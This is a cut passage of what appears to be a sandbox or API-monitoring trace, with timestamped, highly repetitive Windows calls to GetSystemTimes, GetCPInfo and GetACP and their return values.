lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.022] GetACP () returned 0x4e4 [0051.022] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.022] GetACP () returned 0x4e4 [0051.022] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.022] GetACP () returned 0x4e4 [0051.022] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.022] GetACP () returned 0x4e4 [0051.022] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.022] GetACP () returned 0x4e4 [0051.022] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.022] GetACP () returned 0x4e4 [0051.022] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.023] GetACP () returned 0x4e4 [0051.023] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.023] GetACP () returned 0x4e4 [0051.023] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.023] GetACP () returned 0x4e4 [0051.023] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.023] GetACP () returned 0x4e4 [0051.023] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.023] GetACP () returned 0x4e4 [0051.023] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.023] GetACP () returned 0x4e4 [0051.023] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.023] GetACP () returned 0x4e4 [0051.023] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.023] GetACP () returned 0x4e4 [0051.023] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.023] GetACP () returned 0x4e4 [0051.023] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.024] GetACP () returned 0x4e4 [0051.024] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.024] GetACP () returned 0x4e4 [0051.024] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.024] GetACP () returned 0x4e4 [0051.024] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.024] GetACP () returned 0x4e4 [0051.024] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.024] GetACP () returned 0x4e4 [0051.024] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.024] GetACP () returned 0x4e4 [0051.024] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.024] GetACP () returned 0x4e4 [0051.024] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.024] GetACP () returned 0x4e4 [0051.024] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.024] GetACP () returned 0x4e4 [0051.024] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.025] GetACP () returned 0x4e4 [0051.025] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.025] GetACP () returned 0x4e4 [0051.025] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.025] GetACP () returned 0x4e4 [0051.025] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.025] GetACP () returned 0x4e4 [0051.025] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.025] GetACP () returned 0x4e4 [0051.025] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.025] GetACP () returned 0x4e4 [0051.025] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.025] GetACP () returned 0x4e4 [0051.025] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.025] GetACP () returned 0x4e4 [0051.025] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.025] GetACP () returned 0x4e4 [0051.025] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.026] GetACP () returned 0x4e4 [0051.026] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.026] GetACP () returned 0x4e4 [0051.026] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.026] GetACP () returned 0x4e4 [0051.026] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.026] GetACP () returned 0x4e4 [0051.026] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.026] GetACP () returned 0x4e4 [0051.026] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.026] GetACP () returned 0x4e4 [0051.026] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.026] GetACP () returned 0x4e4 [0051.026] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.026] GetACP () returned 0x4e4 [0051.026] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.026] GetACP () returned 0x4e4 [0051.026] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.027] GetACP () returned 0x4e4 [0051.027] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.027] GetACP () returned 0x4e4 [0051.027] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.027] GetACP () returned 0x4e4 [0051.027] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.027] GetACP () returned 0x4e4 [0051.027] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.027] GetACP () returned 0x4e4 [0051.027] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.027] GetACP () returned 0x4e4 [0051.027] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.027] GetACP () returned 0x4e4 [0051.027] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.027] GetACP () returned 0x4e4 [0051.027] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.027] GetACP () returned 0x4e4 [0051.027] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.028] GetACP () returned 0x4e4 [0051.028] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.028] GetACP () returned 0x4e4 [0051.028] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.028] GetACP () returned 0x4e4 [0051.028] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.028] GetACP () returned 0x4e4 [0051.028] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.028] GetACP () returned 0x4e4 [0051.028] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.028] GetACP () returned 0x4e4 [0051.028] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.028] GetACP () returned 0x4e4 [0051.028] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.028] GetACP () returned 0x4e4 [0051.028] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.028] GetACP () returned 0x4e4 [0051.028] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.029] GetACP () returned 0x4e4 [0051.029] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.029] GetACP () returned 0x4e4 [0051.029] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.029] GetACP () returned 0x4e4 [0051.029] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.029] GetACP () returned 0x4e4 [0051.029] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.029] GetACP () returned 0x4e4 [0051.029] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.029] GetACP () returned 0x4e4 [0051.029] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.029] GetACP () returned 0x4e4 [0051.029] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.029] GetACP () returned 0x4e4 [0051.029] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.029] GetACP () returned 0x4e4 [0051.029] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.030] GetACP () returned 0x4e4 [0051.030] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.030] GetACP () returned 0x4e4 [0051.030] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.030] GetACP () returned 0x4e4 [0051.030] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.030] GetACP () returned 0x4e4 [0051.030] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.030] GetACP () returned 0x4e4 [0051.030] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.030] GetACP () returned 0x4e4 [0051.030] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.030] GetACP () returned 0x4e4 [0051.030] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, 